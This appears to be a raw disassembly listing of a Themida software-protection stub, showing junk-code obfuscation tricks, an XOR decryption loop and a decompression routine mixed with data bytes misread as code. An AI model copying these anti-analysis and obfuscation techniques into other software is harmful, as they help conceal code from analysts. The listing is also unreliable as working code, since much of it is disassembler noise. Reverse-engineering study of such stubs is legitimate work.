dd 16Fh, 0BD83DA8Bh, 6143181h, 60840F00h, 6A000001h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h
dd 7913C350h, 81A8871Ah, 57B803EBh, 6ABD837Fh, 6144Dh
dd 12D840Fh, 0DE90000h, 6000000h, 8C92FA30h, 0DDA338CAh
dd 0FA7EB0E8h, 0A99A858Dh, 6A0616h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 68BBA6C3h
dd 0BE820E1Fh, 0F398DB3h, 82h, 17B58B00h, 8B06144Dh, 141C7195h
dd 60D0FF06h, 22F58D8Bh, 0B52B0614h, 6141A55h, 5985C661h
dd 5406141Ah, 0E09EBB50h, 685A752Ch, 0BB17B878h, 6E9h
dd 0BE04A300h, 8172845Dh, 68C2434h, 6A4459h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 39BAF9C3h
dd 0FA4DE27Ah, 0B70F9A8Dh, 45B5FFD8h, 6A061411h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h
dd 8D0EC352h, 143B1385h, 25BA6606h, 89D0FF8Dh, 140D69BDh
dd 80006A06h, 0B70FB5F2h, 9FF6AD3h, 141C999Dh, 8BD0FF06h
dd 1404319Dh, 19B5FF06h, 89061432h, 1416DD85h, 0F995FF06h
dd 6A06142Eh, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 16042444h, 46000000h, 67CDC356h, 3D9D2B01h
; ---------------------------------------------------------------------------
sbb [esi+eax], edx
; START OF FUNCTION CHUNK FOR sub_54F9F1
loc_54FC9B: ; CODE XREF: sub_54F9F1+102j
mov esi, [ebp+6144D17h]
push esi
pusha
or [ebp+6140C65h], eax
jmp loc_54FCB9
; END OF FUNCTION CHUNK FOR sub_54F9F1
; ---------------------------------------------------------------------------
dw 4802h
; ---------------------------------------------------------------------------
adc [eax], dl
mov [esi], al
mov al, ds:365F38D6h
; START OF FUNCTION CHUNK FOR sub_54F9F1
loc_54FCB9: ; CODE XREF: sub_54F9F1+2B8j
popa
pop edx
retn
; END OF FUNCTION CHUNK FOR sub_54F9F1
; ---------------------------------------------------------------------------
jg loc_54FCCF
pusha
and eax, [ebp+6142E21h]
and ax, 3207h
popa
loc_54FCCF: ; CODE XREF: Themida_:0054FCBCj
mov esi, [ebp+6142D01h]
jnb loc_54FCE1
mov [ebp+6140C89h], ecx
loc_54FCE1: ; CODE XREF: Themida_:0054FCD5j
or esi, esi
jz loc_54FD33
jnz loc_54FD00
pusha
pusha
popa
jmp loc_54FCFF
; ---------------------------------------------------------------------------
db 0ADh
dd 4D044876h
db 5Ch, 22h, 59h
; ---------------------------------------------------------------------------
loc_54FCFF: ; CODE XREF: Themida_:0054FCF2j
popa
loc_54FD00: ; CODE XREF: Themida_:0054FCE9j
mov byte ptr [esi], 0
push 0
push esi
call sub_54FD0E
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FD0E proc near ; CODE XREF: Themida_:0054FD06p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 18h
inc esi
push esi
retn
sub_54FD0E endp
; ---------------------------------------------------------------------------
dw 0F171h
dd 66B5DD5Eh, 5E9DE8Bh, 50000000h, 596D0723h
; ---------------------------------------------------------------------------
sbb dl, 51h
loc_54FD33: ; CODE XREF: Themida_:0054FCE3j
mov [ebp+6144D1Fh], eax
jp $+6
cmp eax, 0
jz loc_550037
push 0
push ecx
call sub_54FD53
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FD53 proc near ; CODE XREF: Themida_:0054FD4Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ch
inc ecx
push ecx
retn
sub_54FD53 endp
; ---------------------------------------------------------------------------
db 7Fh
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 26h, 35h, 0FCh
; ---------------------------------------------------------------------------
or [ebx], ah
aas
mov dword ptr [eax+3360DDD6h], 140B9DB5h
push es
popa
mov eax, 0
xor edx, 512E5C5Bh
sub edx, [ebp+6142B0Dh]
cmp eax, 0
jz loc_54FE34
mov ebx, [ebp+6142ADDh]
cmp eax, 2
jnz loc_54FE04
push 0
push edx
call sub_54FDAB
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FDAB proc near ; CODE XREF: Themida_:0054FDA3p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 17h
inc edx
push edx
retn
sub_54FDAB endp
; ---------------------------------------------------------------------------
db 36h
dd 6672DE6Eh, 0B331EB81h, 32099503h, 858D0614h, 614439Ah
dd 292D95B3h, 8B000009h, 14061995h, 0D88B9006h, 8E950h
dd 0F1630000h, 456AE418h, 89903E8Eh, 14141D9Dh, 8960C306h
dd 1416718Dh, 1D858906h, 6106142Fh
; ---------------------------------------------------------------------------
loc_54FE04: ; CODE XREF: Themida_:0054FD9Aj
mov eax, 0
mov ebx, esi
jmp loc_550037
; ---------------------------------------------------------------------------
push 0
push eax
call sub_54FE1B
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FE1B proc near ; CODE XREF: Themida_:0054FE13p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_54FE1B endp
; ---------------------------------------------------------------------------
sub eax, 0B6308C60h
jns short loc_54FE98
mov edx, esi
loc_54FE34: ; CODE XREF: Themida_:0054FD8Bj
mov eax, 1
call sub_54FE51
push ecx
out dx, eax
add [edi+1076E5D4h], ecx
; ---------------------------------------------------------------------------
db 0FEh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_54FE51
loc_54FE47: ; CODE XREF: sub_54FE51+1Aj
sub [ecx], dl
mov cl, dh
aaa
inc esi
or al, 8Ch
cmp al, 7Fh
; END OF FUNCTION CHUNK FOR sub_54FE51
; =============== S U B R O U T I N E =======================================
sub_54FE51 proc near ; CODE XREF: Themida_:0054FE39p
; FUNCTION CHUNK AT 0054FE47 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0054FE7D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054FF4B SIZE 0000000C BYTES
mov bl, 0B5h
pop ebx
mov bx, 1876h ; CODE XREF: sub_54FE51+23j
lea edi, [ebp+614439Fh]
jz loc_54FE7D
call near ptr loc_54FE78+2
sub al, 0D1h
jg short loc_54FE47
xchg eax, ebx
std
add eax, 0FE51BFFFh
jg short near ptr loc_54FE54+3
out 0C0h, al ; DMA controller, 8237A-5.
; channel 0 base address
; (also sets current address)
loc_54FE78: ; CODE XREF: sub_54FE51+13p
mov ds:5BFE8AA4h, al
sub_54FE51 endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_54FE51
loc_54FE7D: ; CODE XREF: sub_54FE51+Dj
jmp loc_54FF4B
; END OF FUNCTION CHUNK FOR sub_54FE51
; ---------------------------------------------------------------------------
dw 0B70Fh
dd 2F883D8h, 2C850Fh, 0B5890000h, 6142E0Dh, 4597BD8Dh
; ---------------------------------------------------------------------------
loc_54FE98: ; CODE XREF: Themida_:0054FE30j
adc al, 6
movsx edx, bx
jmp loc_54FF4B
; ---------------------------------------------------------------------------
jmp loc_54FEBA
; ---------------------------------------------------------------------------
db 0E6h
dd 265A7117h, 0E979907Eh, 2EE4CC7Bh, 0C681F244h
; ---------------------------------------------------------------------------
aad 9Ah
loc_54FEBA: ; CODE XREF: Themida_:0054FEA2j
cmp eax, 3
jnz loc_54FEFB
movzx ebx, cx
mov ebx, edi
lea edi, [ebp+614472Bh]
push 0
push esi
call sub_54FED9
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FED9 proc near ; CODE XREF: Themida_:0054FED1p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ah
inc esi
push esi
retn
sub_54FED9 endp
; ---------------------------------------------------------------------------
db 94h, 87h, 72h
dd 10931FA3h, 56E9h, 0D5853100h
; ---------------------------------------------------------------------------
add dl, [esi+eax]
loc_54FEFB: ; CODE XREF: Themida_:0054FEBDj
cmp eax, 5
jnz loc_54FF4B
push 0
push esi
call sub_54FF0F
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_54FF0F proc near ; CODE XREF: Themida_:0054FF07p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Dh
inc esi
push esi
retn
sub_54FF0F endp
; ---------------------------------------------------------------------------
db 8Dh
dd 0F45C7F43h, 0C406E464h, 79950BC4h, 8B061410h, 14092D9Dh
dd 8EE906h, 9E80000h, 0B9000000h, 28F4F0CDh, 1DF3A737h
; ---------------------------------------------------------------------------
mov edx, ebx
pop edx
; START OF FUNCTION CHUNK FOR sub_54FE51
loc_54FF4B: ; CODE XREF: sub_54FE51:loc_54FE7Dj
; Themida_:0054FE9Dj ...
push edi
push 0
push ecx
call sub_54FF57
and [ecx-3Dh], bl
; END OF FUNCTION CHUNK FOR sub_54FE51
; =============== S U B R O U T I N E =======================================
sub_54FF57 proc near ; CODE XREF: sub_54FE51+FEp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_54FF57 endp
; ---------------------------------------------------------------------------
db 0E8h
dd 2A75BDF2h, 6E3A9AB5h, 0ECA805Ah, 0F6FD85B9h, 87C6800Fh
dd 0F003F83h, 4384h, 59958B00h, 3006142Ah, 12E80Fh, 7E550000h
dd 0D7550CC5h, 0CEBFF64Ch, 4DBB4128h, 9122A4B9h, 0C9D15AF5h
dd 0D58D8B60h, 89061405h, 14005595h, 89476106h, 140D758Dh
dd 0FFBAE906h, 8589FFFFh, 61429A9h, 0F05F883h, 6685h, 0B0EE8000h
dd 0B3D98C66h, 4C1F6E3h, 45850Fh, 9D890000h, 6142561h
dd 0B8h, 59F28100h, 0E95EB8E6h, 3Fh, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 1Ah, 58C35747h, 0EFB658Ah, 8E93166h
dd 0D7000000h, 0B87DF66Ah, 8BD07D9Eh, 14057185h, 0FFD5B606h
dd 859D29E0h
; ---------------------------------------------------------------------------
and [esi+eax], edx
loc_550037: ; CODE XREF: Themida_:0054FD42j
; Themida_:0054FE0Bj
cmp dword ptr [ebp+6142EF9h], 0
jnz loc_55010B
push 0
push eax
call sub_55004F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55004F proc near ; CODE XREF: Themida_:00550047p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_55004F endp
; ---------------------------------------------------------------------------
push ecx
sub al, 0B4h
popf
nop
mov edx, 1E93D414h
push eax
push ecx
push esi
mov edx, 4280A555h
pop ebx
pop ebx
nop
jmp loc_550084
; ---------------------------------------------------------------------------
db 0B9h, 1Fh, 69h
dd 0FE9656C7h, 8A27AF56h
; ---------------------------------------------------------------------------
loc_550084: ; CODE XREF: Themida_:00550074j
mov byte ptr [ebp+6141A59h], 45h
mov bx, 6331h
push 8BCE830Ch
push eax
jb loc_55009D
push edi
pop edx
loc_55009D: ; CODE XREF: Themida_:00550095j
pop ebx
add dword ptr [esp], 2A3E65Dh
mov dl, 0A6h
push dword ptr [ebp+6141145h]
and edx, 6E762D50h
lea eax, [ebp+6143B13h]
stc
call eax
push 0
push edi
call sub_5500C7
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5500C7 proc near ; CODE XREF: Themida_:005500BFp
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 14h
inc edi
push edi
retn
sub_5500C7 endp
; ---------------------------------------------------------------------------
ror byte ptr [ecx+142EF985h], 1
push es
pusha
mov eax, [ebp+6142115h]
popa
pop eax
push 0
push edx
call sub_5500F2
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5500F2 proc near ; CODE XREF: Themida_:005500EAp
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5500F2 endp
; ---------------------------------------------------------------------------
dw 2B74h
dd 0A99D318Eh
; ---------------------------------------------------------------------------
adc al, 14h
push es
loc_55010B: ; CODE XREF: Themida_:0055003Ej
cmp dword ptr [ebp+6144D6Eh], 0
jz loc_550156
push 0
push ecx
call sub_550123
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_550123 proc near ; CODE XREF: Themida_:0055011Bp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_550123 endp
; ---------------------------------------------------------------------------
db 7Ah
; ---------------------------------------------------------------------------
cmp [edx-4A000307h], edi
sbb [edx], esi
adc al, 6
mov [ebp+6140105h], esi
or [ebp+61414A1h], edi
call dword ptr [ebp+6142EF9h]
mov [ebp+6140D69h], edx
loc_550156: ; CODE XREF: Themida_:00550112j
cmp eax, 0
jnz loc_550260
push 0
push esi
call sub_55016A
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55016A proc near ; CODE XREF: Themida_:00550162p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Bh
inc esi
push esi
retn
sub_55016A endp
; ---------------------------------------------------------------------------
dw 4641h
dd 0A437AFE6h, 0DE97C10h, 83000000h, 9D807870h, 0C4C9E7DEh
dd 3B8C8C1h, 226D9D89h, 0BD830614h, 6141A99h, 53840F00h
dd 0B3000000h, 99B5FFC4h, 0F806141Ah, 1B8h, 51006A00h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h, 0C3514100h
dd 2FAE5055h, 0CE8h, 17DC1E00h, 2732A817h, 0DFF1A057h
dd 0D19D8BC7h, 5A061416h, 1111B589h, 0A2E90614h, 0F000001h
dd 0B5FFDBB7h, 6143219h, 19810Fh, 14E90000h, 0FC000000h
dd 29C9C20Ah, 619D3521h, 0AF052D4Ah, 6FF67C1Ch, 0FF294E6Fh
dd 143219B5h, 0E98D0106h, 0FF061401h, 142EF9B5h, 51006A06h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1A04h, 0C3514100h
dd 0BDDA4904h, 8A79EE2Dh, 13FE9D4h, 9D330000h, 61420F1h
; ---------------------------------------------------------------------------
loc_550260: ; CODE XREF: Themida_:00550159j
pop edi
mov dx, bx
cmp dword ptr [ebp+61402C1h], 0
jnz loc_5502FD
mov edx, [ebp+6141A21h]
mov byte ptr [ebp+6141A59h], 4Dh
push edi
pusha
mov bx, 3C6Eh
mov eax, edx
popa
pop ebx
push 9321A960h
mov dh, ah
add dword ptr [esp], 1113CD48h
sub [ebp+6140665h], edi
push dword ptr [ebp+6140931h]
jmp loc_5502B6
; ---------------------------------------------------------------------------
db 6Ch
dd 9B350F7Fh, 0B004CD05h, 60EA781Ah
db 0E3h, 0A2h
; ---------------------------------------------------------------------------
loc_5502B6: ; CODE XREF: Themida_:005502A2j
lea eax, [ebp+6143B13h]
mov dh, 86h
call eax
push 0
push eax
call sub_5502CB
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5502CB proc near ; CODE XREF: Themida_:005502C3p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 14h
inc eax
push eax
retn
sub_5502CB endp
; ---------------------------------------------------------------------------
icebp
mov ebx, [ebp+6142ACDh]
jmp loc_5502EE
; ---------------------------------------------------------------------------
push ecx
fisttp dword ptr [ecx]
push cs
les ecx, [edx+ecx*4]
loc_5502EE: ; CODE XREF: Themida_:005502E2j
mov [ebp+61402C1h], eax
mov [ebp+61422F9h], edx
xor bh, 5Bh
loc_5502FD: ; CODE XREF: Themida_:0055026Bj
mov eax, 0
mov ebx, 2BFF74ACh
mov [ebp+6144D17h], edi
mov edx, [ebp+6140055h]
mov bh, 9Bh
or eax, eax
jz loc_55034D
push 0
push edi
call sub_550328
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_550328 proc near ; CODE XREF: Themida_:00550320p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 15h
inc edi
push edi
retn
sub_550328 endp
; ---------------------------------------------------------------------------
mov bh, 77h
jmp loc_550399
; ---------------------------------------------------------------------------
pusha
mov [ebp+61400F5h], ecx
mov esi, [ebp+614022Dh]
popa
loc_55034D: ; CODE XREF: Themida_:00550317j
push dword ptr [ebp+6142EF9h]
push 0
push ecx
call sub_55035E
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55035E proc near ; CODE XREF: Themida_:00550356p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_55035E endp
; ---------------------------------------------------------------------------
fcom qword ptr [edi+3Fh]
jl loc_55037C
mov edx, 41412E2Ah
loc_55037C: ; CODE XREF: Themida_:00550371j
or edx, [ebp+61400FDh]
lea eax, [ebp+616A99Ah]
adc dh, 77h
nop
mov dx, di
push eax
mov dx, 0E420h
nop
mov dx, 7739h
loc_550399: ; CODE XREF: Themida_:0055033Aj
push eax
push esi
lea edi, [ebp+61453FBh]
lea ecx, [ebp+61477CFh]
mov eax, 748323BCh
sub ecx, edi
loc_5503AE: ; CODE XREF: Themida_:005503B4j
xor [edi], al
ror al, 1
inc edi
dec ecx
jnz short loc_5503AE
pop esi
pop eax
cmp dword ptr [ebp+6141A99h], 0
jz short loc_5503C7
mov ecx, [ebp+61423C1h]
loc_5503C7: ; CODE XREF: Themida_:005503BFj
xor ecx, ecx
mov eax, 0
or eax, eax
jz loc_55047E
cmp dword ptr [ebp+6141A71h], 0
jz short loc_5503E5
call dword ptr [ebp+6141DA9h]
loc_5503E5: ; CODE XREF: Themida_:005503DDj
mov eax, 0
or eax, eax
jnz short loc_5503F7
cmp dword ptr [ebp+6144D1Fh], 1
jz short loc_550400
loc_5503F7: ; CODE XREF: Themida_:005503ECj
cmp dword ptr [ebp+6144D1Fh], 2
jnz short loc_55040E
loc_550400: ; CODE XREF: Themida_:005503F5j
mov esi, [ebp+6144D17h]
lea eax, [ebp+616A99Ah]
call eax
loc_55040E: ; CODE XREF: Themida_:005503FEj
cmp dword ptr [ebp+6142B95h], 0
jz short loc_55041D
call dword ptr [ebp+6140911h]
loc_55041D: ; CODE XREF: Themida_:00550415j
lea eax, [ebp+614432Bh]
call eax
cmp dword ptr [ebp+6141D51h], 2
jnz short loc_55045D
mov esp, [ebp+6143505h]
mov eax, [ebp+6141A99h]
mov [esp], eax
mov dword ptr [ebp+6143495h], 1
mov esi, [ebp+6144D1Bh]
mov ebp, [ebp+6142E29h]
mov eax, 1
retn 0Ch
; ---------------------------------------------------------------------------
jmp short $+2
loc_55045D: ; CODE XREF: Themida_:0055042Cj
mov dword ptr [ebp+6143495h], 1
mov esp, [ebp+6143505h]
mov esi, [ebp+6142679h]
mov ebp, [ebp+6142E29h]
xor eax, eax
retn 0Ch
; ---------------------------------------------------------------------------
loc_55047E: ; CODE XREF: Themida_:005503D0j
cmp dword ptr [ebp+6142B95h], 0
jz short loc_550496
cmp dword ptr [ebp+6140911h], 0
jz short loc_550496
call dword ptr [ebp+6140911h]
loc_550496: ; CODE XREF: Themida_:00550485j
; Themida_:0055048Ej
mov esi, [ebp+6144D17h]
retn
; ---------------------------------------------------------------------------
and edx, 2F2DDF6Ch
mov edx, esi
sub edx, edx
mov [ebp+61401BDh], ebx
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_5504BD
; ---------------------------------------------------------------------------
loc_5504BB: ; CODE XREF: Themida_:005504C0j
inc eax
inc edi
loc_5504BD: ; CODE XREF: Themida_:005504B9j
cmp byte ptr [edi], 0
jnz short loc_5504BB
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_5504EC
; ---------------------------------------------------------------------------
loc_5504C9: ; CODE XREF: Themida_:005504EEj
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_5504E1
; ---------------------------------------------------------------------------
loc_5504DE: ; CODE XREF: Themida_:005504E4j
mul ebx
dec esi
loc_5504E1: ; CODE XREF: Themida_:005504DCj
cmp esi, 0
ja short loc_5504DE
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_5504EC: ; CODE XREF: Themida_:005504C7j
or eax, eax
jnz short loc_5504C9
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
push 0
push esi
call sub_550505
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_550505 proc near ; CODE XREF: Themida_:005504FDp
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_550505 endp
; ---------------------------------------------------------------------------
db 54h, 58h, 88h
dd 0F39ED65Eh, 0B589974Ah, 6142B55h, 0E855006Ah, 3, 5DC35D20h
dd 4246C89h, 4244481h, 1Dh, 0E0C35545h, 256C08BFh, 378F7A84h
dd 0DE904h, 0B0060000h, 0D980D4ACh, 8E0C88E6h, 812D39E7h
dd 0B066FFDBh
db 7Fh
; ---------------------------------------------------------------------------
loc_550561: ; CODE XREF: Themida_:loc_54D951j
mov eax, ecx
jmp loc_550715
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
loc_550574: ; CODE XREF: Themida_:loc_55058Cj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_55057F: ; CODE XREF: Themida_:0055060Aj
; Themida_:00550672j ...
add dl, dl
jnz loc_55058C
mov dl, [esi]
inc esi
adc dl, dl
loc_55058C: ; CODE XREF: Themida_:00550581j
jnb loc_550574
add dl, dl
jnz loc_55059F
mov dl, [esi]
inc esi
adc dl, dl
loc_55059F: ; CODE XREF: Themida_:00550594j
jnb loc_55060F
xor eax, eax
add dl, dl
jnz loc_5505B4
mov dl, [esi]
inc esi
adc dl, dl
loc_5505B4: ; CODE XREF: Themida_:005505A9j
jnb loc_5506E4
add dl, dl
jnz loc_5505C7
mov dl, [esi]
inc esi
adc dl, dl
loc_5505C7: ; CODE XREF: Themida_:005505BCj
adc eax, eax
add dl, dl
jnz loc_5505D6
mov dl, [esi]
inc esi
adc dl, dl
loc_5505D6: ; CODE XREF: Themida_:005505CBj
adc eax, eax
add dl, dl
jnz loc_5505E5
mov dl, [esi]
inc esi
adc dl, dl
loc_5505E5: ; CODE XREF: Themida_:005505DAj
adc eax, eax
add dl, dl
jnz loc_5505F4
mov dl, [esi]
inc esi
adc dl, dl
loc_5505F4: ; CODE XREF: Themida_:005505E9j
adc eax, eax
jz loc_550602
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_550602: ; CODE XREF: Themida_:005505F6j
mov [edi], al
inc edi
mov ebx, 2
jmp loc_55057F
; ---------------------------------------------------------------------------
loc_55060F: ; CODE XREF: Themida_:loc_55059Fj
mov eax, 1
loc_550614: ; CODE XREF: Themida_:loc_550630j
add dl, dl
jnz loc_550621
mov dl, [esi]
inc esi
adc dl, dl
loc_550621: ; CODE XREF: Themida_:00550616j
adc eax, eax
add dl, dl
jnz loc_550630
mov dl, [esi]
inc esi
adc dl, dl
loc_550630: ; CODE XREF: Themida_:00550625j
jb loc_550614
sub eax, ebx
mov ebx, 1
jnz loc_550677
mov ecx, 1
loc_550648: ; CODE XREF: Themida_:loc_550664j
add dl, dl
jnz loc_550655
mov dl, [esi]
inc esi
adc dl, dl
loc_550655: ; CODE XREF: Themida_:0055064Aj
adc ecx, ecx
add dl, dl
jnz loc_550664
mov dl, [esi]
inc esi
adc dl, dl
loc_550664: ; CODE XREF: Themida_:00550659j
jb loc_550648
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_55057F
; ---------------------------------------------------------------------------
loc_550677: ; CODE XREF: Themida_:0055063Dj
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_550685: ; CODE XREF: Themida_:loc_5506A1j
add dl, dl
jnz loc_550692
mov dl, [esi]
inc esi
adc dl, dl
loc_550692: ; CODE XREF: Themida_:00550687j
adc ecx, ecx
add dl, dl
jnz loc_5506A1
mov dl, [esi]
inc esi
adc dl, dl
loc_5506A1: ; CODE XREF: Themida_:00550696j
jb loc_550685
cmp eax, 7D00h
jnb loc_5506D4
cmp eax, 500h
jb loc_5506CB
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_55057F
; ---------------------------------------------------------------------------
loc_5506CB: ; CODE XREF: Themida_:005506B7j
cmp eax, 7Fh
ja loc_5506D7
loc_5506D4: ; CODE XREF: Themida_:005506ACj
add ecx, 2
loc_5506D7: ; CODE XREF: Themida_:005506CEj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_55057F
; ---------------------------------------------------------------------------
loc_5506E4: ; CODE XREF: Themida_:loc_5505B4j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz loc_550709
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_55057F
; ---------------------------------------------------------------------------
loc_550709: ; CODE XREF: Themida_:005506ECj
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_550715: ; CODE XREF: Themida_:00550563j
mov edx, 929h
jmp loc_572B54
; ---------------------------------------------------------------------------
db 3Fh
dd 6F025C00h, 28005C6Fh, 6F025C00h, 0BE005C6Fh, 5C54h
dd 6C000000h, 20012FFh, 2000002h, 1000000h, 3000000h, 0DF000000h
dd 0FA408Bh, 4 dup(0)
dd 10000000h, 4C005531h, 17005595h, 5500551Fh, 4000552Eh
dd 1B005588h, 0B5005598h, 0E4005594h, 15005527h, 3100554Ah
dd 3A005556h, 0C200559Ah, 4D0055AFh, 0D0005527h, 2F0055CDh
dd 88005528h, 3A005512h, 10055A5h, 1A005511h, 5700556Bh
dd 700556Bh, 520055C3h, 2300557Dh, 0D1005585h, 0E005582h
dd 2F00557Dh, 0FE005581h, 0CA005567h, 0EF0055C8h, 0D8005524h
dd 0A20055CEh, 5300550Eh, 0E4005573h, 130055C9h, 38005585h
dd 3005583h, 560055B6h, 9500551Eh, 4900558Dh, 2D0055AFh
dd 9A00559Ah, 0FE0055ACh, 1200558Dh, 0EC0055A2h, 1400552Fh
dd 0BB005542h, 0DC005538h, 1A0055A1h, 96005583h, 0C1005522h
dd 600055BFh, 540055CBh, 98005513h, 2000555Ah, 0E8005559h
dd 0F2005510h, 0EC005597h, 88005597h, 0B000553Bh, 6200558Dh
dd 800055A0h, 26005577h, 0FB005572h, 0A60055B4h, 3E005589h
dd 1B005581h, 4F005527h, 5F00558Fh, 0EE00550Dh, 7200559Fh
dd 8900552Ah, 0AF0055B5h, 1D00550Bh, 5B005547h, 99005597h
dd 0EC005511h, 0A7005582h, 15005552h, 9F005563h, 8005551h
dd 4D0055B9h, 490055CEh, 4C00551Ah, 28005585h, 0CB00558Eh
dd 0F5005547h, 0D1005525h, 0BD00553Bh, 0C00055AEh, 1F005558h
dd 49005545h, 7C005578h, 0E60055C7h, 22005532h, 0D100552Ah
dd 0D30055CAh, 5B005567h, 0D005529h, 820055B5h, 9000557Dh
dd 160055AFh, 860055C3h, 0ED005590h, 0B005583h, 88005532h
dd 0AE00557Bh, 1F00550Eh, 1E0055CFh, 4300554Eh, 8B00559Bh
dd 900553Ah, 3500556Dh, 37005510h, 6700556Bh, 600556Ch
dd 0C5005554h, 0CD005559h, 900055A7h, 0FE005512h, 0F70055A2h
dd 24005530h, 99005580h, 420055CEh, 9500553Dh, 9005574h
dd 200055A4h, 380055AFh, 44005592h, 4B005510h, 0E20055CBh
dd 0E4005554h, 9C005534h, 0AB00550Ah, 4B00557Ch, 94005515h
dd 22005535h, 0FA005535h, 8F005553h, 9B005568h, 0E1005548h
dd 92005559h, 0D7005595h, 380055BEh, 2900556Ah, 1E005576h
dd 98005540h, 0DB00557Bh, 0B900557Dh, 180055AFh, 53005571h
dd 0B2005584h, 0E0055C0h, 8A0055CEh, 82005562h, 7B005555h
dd 7B005579h, 38005517h, 76005598h, 340055C9h, 54005595h
dd 0AD0055CBh, 0F5005597h, 60005587h, 6700557Fh, 0D400558Eh
dd 64005540h, 40005586h
db 90h
db 55h, 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_5AF4AE
loc_5509FF: ; CODE XREF: Themida_:00572BB9j
; Themida_:00572BC3j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 6147E28h
mov eax, edi
add edi, 6147B40h
cmp eax, [edi+2Ch]
jnz short loc_550A1D
jmp short loc_550A30
; ---------------------------------------------------------------------------
loc_550A1D: ; CODE XREF: sub_5AF4AE-5EA95j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_550A2C
; ---------------------------------------------------------------------------
loc_550A27: ; CODE XREF: sub_5AF4AE-5EA80j
add [edi+ecx*4+40h], eax
dec ecx
loc_550A2C: ; CODE XREF: sub_5AF4AE-5EA89j
or ecx, ecx
jnz short loc_550A27
loc_550A30: ; CODE XREF: sub_5AF4AE-5EA93j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_550A3D: ; CODE XREF: sub_5AF4AE-5EA6Aj
